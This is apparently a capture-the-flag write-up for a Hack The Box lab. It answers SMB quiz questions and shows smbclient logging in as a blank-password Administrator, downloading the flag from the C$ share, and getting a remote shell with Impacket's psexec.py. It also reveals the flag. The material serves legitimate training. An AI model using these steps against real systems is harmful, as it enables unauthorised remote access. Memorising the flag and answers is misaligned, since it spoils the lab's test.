## TARGET MACHINE IP ADDRESS

## 10.129.177.254

1. Which Nmap switch can we use to enumerate machines when our ping ICMP packets are blocked by the Windows firewall?

Answer: -Pn

2. What does the 3-letter acronym SMB stand for?

Answer: Server Message Block

3. What port does SMB use to operate at?

Answer: 445

4. What command line argument do you give to `smbclient` to list available shares?

Answer: -L

5. What character at the end of a share name indicates it's an administrative share?

Answer: \$

6. Which Administrative share is accessible on the box that allows users to view the whole file system?

To answer this question, I attempted to connect to the target's SMB service using smbclient

```
(kali@kali)-[~/Desktop/HTB/labs]
$ smbclient -L //10.129.177.254/ -N
session setup failed: NT_STATUS_ACCESS_DENIED
```

The initial scan showed that anonymous access to the target's SMB server was not allowed, so I proceeded to test whether it was possible to connect without a password using common usernames. I discovered that the Administrator account was configured with no password, allowing access.

```
(kali⊛ kali)-[~/Desktop/HTB/labs]
$ smbclient -L //10.129.177.254/ -U Administrator
Password for [WORKGROUP\Administrator]:
        Sharename
                                  Comment
                        Type
        ADMIN$
                        Disk
                                  Remote Admin
                                  Default share
        C$
                        Disk
        IPC$
                        IPC
                                  Remote IPC
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.177.254 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```

Answer: C\$

7. What command can we use to download the files we find on the SMB Share?

Answer: get

8. Which tool that is part of the Impacket collection can be used to get an interactive shell on the system?

Answer: psexec.py

Questions 7 and 8 made me realize that the flag can be captured in two different ways. Since psexec.py opens a reverse shell, it doesn't require the get command to download the flag — you can simply read it directly. The get command, in this case, refers to downloading the flag via smbclient.

9. Submit root flag (1)

```
(kali@ kali)-[~/Desktop/HTB/labs]
$ smbclient //10.129.177.254/C$ -U Administrator

Password for [WORKGROUP\Administrator]:
Try "help" to get a list of possible commands.
smb: \> ls
```

smb: \Users\Administrator\Desktop\> get flag.txt
getting file \Users\Administrator\Desktop\flag.txt of size 32 as flag.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
smb: \Users\Administrator\Desktop\>

```
(kali@ kali)-[~/Desktop/HTB/labs]
$ cat flag.txt
f751c19eda8f61ce81827e6930a1f40c
```

Answer: f751c19eda8f61ce81827e6930a1f40c

9. Submit root flag (2)

```
-(htb)-(kali®kali)-[~/Desktop/HTB/labs]
 $ psexec.py Administrator: '@10.129.177.254
/home/kali/Desktop/HTB/labs/htb/lib/python3.13/site-packages/impacket/
or removal as early as 2025-11-30. Refrain from using this package or
  import pkg_resources
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
Password:
[*] Requesting shares on 10.129.177.254.....
[*] Found writable share ADMIN$
[*] Uploading file KSDEVwZw.exe
[*] Opening SVCManager on 10.129.177.254.....
[*] Creating service uLIR on 10.129.177.254.....
[*] Starting service uLIR.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
```

C:\Users\Administrator\Desktop> type flag.txt
f751c19eda8f61ce81827e6930a1f40c

Answer: f751c19eda8f61ce81827e6930a1f40c